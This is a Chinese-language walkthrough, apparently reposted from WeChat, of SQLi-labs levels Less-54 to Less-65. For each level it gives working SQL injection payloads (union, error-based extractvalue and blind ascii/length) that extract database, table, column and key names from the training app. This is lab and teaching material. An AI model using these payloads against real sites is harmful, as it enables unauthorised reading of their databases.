【SQLi_Labs】Challenges

admin 2024年12月17日13:13:31评论4 views字数 2019阅读6分43秒阅读模式

什么是男子汉?困难打不倒的人才是真正的男子汉!

Less-54

如果没有点提交按钮将会进入下面的else语句,有过滤,显然突破口在上面。如果点了提交将会setcookie,然后看到有个GET提交的id参数,然后有个更新数据库操作,这里限制了10次请求次数,否则更新数据库。

?id=-1%27%20union%20select%201,2,database() --+ //查库

【SQLi_Labs】Challenges

?id=-1%27union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27challenges%27--+ //查表

【SQLi_Labs】Challenges

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='2P0C18GOWL' %23 //查列

【SQLi_Labs】Challenges

?id=-1' union select 1,group_concat(tryy),3 from 2P0C18GOWL%23 //查数据

【SQLi_Labs】Challenges

Less-55

这个题限制了请求14次,不过当测试出闭合情况之后后面就一切顺利了。 先尝试闭合

?id=1'%23 //错误 ?id=1')%23 //错误 ?id=1)%23 //正确

尝试之后发现是用)闭合

?id=-1) union select 1,database(),3%23

【SQLi_Labs】Challenges

Less-56

这几关都差不多,首先也是尝试闭合

?id=1')%23 //成功闭合

?id=-1') union select 1,database(),3%23

【SQLi_Labs】Challenges

Less-57

这关是双引号闭合的

?id=-1" union select 1,database(),3%23

【SQLi_Labs】Challenges

Less-58

查询之后并没有返回查询数据库当中的数据,不能使用union联合注入,但是有报错回显,可以使用报错注入。

?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

【SQLi_Labs】Challenges

Less-59

SQL语句:

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

?id=1 and extractvalue(1, concat(0x5c, (select database())))%23

【SQLi_Labs】Challenges

Less-60

?id=1") and extractvalue(1, concat(0x5c, (select database())))%23

【SQLi_Labs】Challenges

Less-61

?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23

【SQLi_Labs】Challenges

Less-62

接下来几关要在130次内完成盲注。只不过有次数限制,很明显不能去爆破

?id=1') and (length(database())=10)%23

?id=1') and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))<65)-- #

【SQLi_Labs】Challenges

Less-63

这关跟上一关一样,唯一的区别在于需要使用单引号闭合

?id=1' and (length(database())=10)%23

?id=1' and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #

【SQLi_Labs】Challenges

不再赘述!

Less-64

这关跟上一关一样,唯一的区别在于需要使用括号闭合

?id=1)) and (length(database())=10)%23

?id=1)) and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))>65)-- #

【SQLi_Labs】Challenges

不再赘述!

Less-65

?id=1") and (length(database())=10)%23

?id=1") and ((ascii(mid((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)))<65)-- #

【SQLi_Labs】Challenges

这几关性质都一样,只不过闭合语句不同,不再赘述

SQL语句:

$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

原文始发于微信公众号(儒道易行):【SQLi_Labs】Challenges

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月17日13:13:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【SQLi_Labs】Challengeshttp://cn-sec.com/archives/3501640.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息